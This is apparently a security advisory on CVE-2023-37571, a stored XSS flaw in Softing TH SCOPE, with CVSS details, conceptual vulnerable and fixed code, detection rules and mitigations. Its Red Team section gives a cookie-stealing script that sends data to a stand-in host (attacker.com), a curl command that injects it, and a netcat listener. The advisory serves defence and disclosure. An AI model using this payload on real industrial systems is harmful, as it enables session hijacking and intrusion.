CVE-2023-37571

Executive Summary

CVE-2023-37571 identifies a stored Cross-Site Scripting (XSS) vulnerability in Softing TH SCOPE, an industrial monitoring and diagnostic tool. The vulnerability exists in versions up to and including 3.70, allowing an attacker to inject arbitrary JavaScript into the web interface. When a victim (typically an operator or engineer) views the affected page, the injected script executes in their browser context, potentially leading to session hijacking, data exfiltration, or further compromise of the industrial control system (ICS) environment.

This vulnerability is particularly dangerous in OT/ICS environments where TH SCOPE is used for real-time monitoring. The lack of a confirmed patch from the vendor increases the risk, requiring immediate defensive measures.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary industrial software product (Softing TH SCOPE) used in OT/ICS environments.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must view the malicious page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the context of an ICS environment elevates the risk. An attacker could use this XSS to pivot to other OT systems, steal credentials, or disrupt monitoring.

Deep Dive & Mechanics

The vulnerability is a stored XSS in the web interface of Softing TH SCOPE. The application fails to properly sanitize user-supplied input before storing it and later rendering it in a web page. An attacker can inject malicious HTML/JavaScript code into fields such as device names, comments, or configuration parameters.

Attack Flow:

1. Reconnaissance: The attacker identifies a TH SCOPE instance (e.g., via Shodan).
2. Injection: The attacker sends a crafted HTTP request containing a malicious script (e.g., <script>alert('XSS')</script>) to a vulnerable input field.
3. Storage: The server stores the malicious payload in its database or configuration file.
4. Trigger: An operator or engineer views the affected page (e.g., device list, alarm dashboard).
5. Execution: The victim's browser executes the injected script, which can:
   • Steal session cookies.
   • Perform actions on behalf of the victim.
   • Redirect to a phishing page.
   • Exfiltrate sensitive data to an attacker-controlled server.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is presumed to be any input field that does not sanitize HTML/JavaScript. A patched version would implement output encoding and input validation.

Vulnerable Code (Conceptual):

// Server-side (Node.js/Express example)
app.post('/api/device', (req, res) => {
    const deviceName = req.body.name;
    // No sanitization
    db.save({ name: deviceName });
    res.send('Device added');
});

// Client-side rendering
function renderDevice(device) {
    document.getElementById('deviceList').innerHTML += `<div>${device.name}</div>`;
}

Patched Code (Conceptual):

// Server-side
const sanitizeHtml = require('sanitize-html');
app.post('/api/device', (req, res) => {
    const deviceName = sanitizeHtml(req.body.name, { allowedTags: [], allowedAttributes: {} });
    db.save({ name: deviceName });
    res.send('Device added');
});

// Client-side rendering (using textContent instead of innerHTML)
function renderDevice(device) {
    const div = document.createElement('div');
    div.textContent = device.name;
    document.getElementById('deviceList').appendChild(div);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable Softing TH SCOPE instance (version <= 3.70).
• Network access to the web interface.
• A listener to capture exfiltrated data (e.g., nc -lvnp 8080).

Exploit Payload Example:

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Steps:

1. Identify a vulnerable input field (e.g., device name, alarm description).
2. Inject the payload via a POST request:

   curl -X POST http://target.thscope/api/device -d "name=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>"
   

3. Wait for an operator to view the device list.
4. Capture the cookie on your listener:

   nc -lvnp 8080
   

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual HTTP requests containing <script> tags or event handlers (e.g., onload, onerror).
• Use WAF rules to block common XSS patterns.
• Deploy a Content Security Policy (CSP) to restrict script execution.

Defense:

• Isolate TH SCOPE in a segmented network.
• Apply strict input validation and output encoding.
• Use a reverse proxy with XSS filtering (e.g., ModSecurity).
• Regularly audit logs for suspicious activity.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing <script>, onerror, onload, javascript: in POST data.
  • Outbound connections to unknown IPs on ports 80/443 from the TH SCOPE server.
  • Unusual referrer headers or user-agent strings.

• Host IOCs:

  • Unexpected entries in TH SCOPE configuration files (e.g., config.xml, devices.db).
  • Modified web pages with injected JavaScript.
  • Suspicious processes (e.g., cmd.exe, powershell.exe) spawned by the web server.

• Log IOCs:

  • Web server logs showing 400 or 500 errors after XSS attempts.
  • Application logs with HTML tags in input fields.

Detection Engineering

YARA Rule

rule CVE_2023_37571_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Softing TH SCOPE"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-37571"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $xss5 = "alert(" nocase
    condition:
        any of them
}

Sigma Rule

title: XSS Attempt Against Softing TH SCOPE
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS attacks targeting CVE-2023-37571
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in input fields (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-37571 XSS Attempt"; flow:to_server; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2023-37571 XSS Event Handler"; flow:to_server; content:"onerror="; http_client_body; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2023-37571 XSS javascript URI"; flow:to_server; content:"javascript:"; http_client_body; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the TH SCOPE server from the internet and untrusted networks.
2. Apply a Web Application Firewall (WAF) with XSS rules.
3. Monitor logs for exploitation attempts.
4. Restrict user access to the web interface.

Long-term Fix:

• Contact Softing for an official patch or upgrade to a patched version (if available).
• Implement input validation and output encoding in the application.
• Deploy a Content Security Policy (CSP) header:

  Content-Security-Policy: default-src 'self'; script-src 'none'; style-src 'self' 'unsafe-inline';
  

• Conduct regular security assessments of OT/ICS software.

Workaround:

• Disable the web interface if not required.
• Use a reverse proxy with XSS filtering (e.g., Nginx with ModSecurity).

Valters IT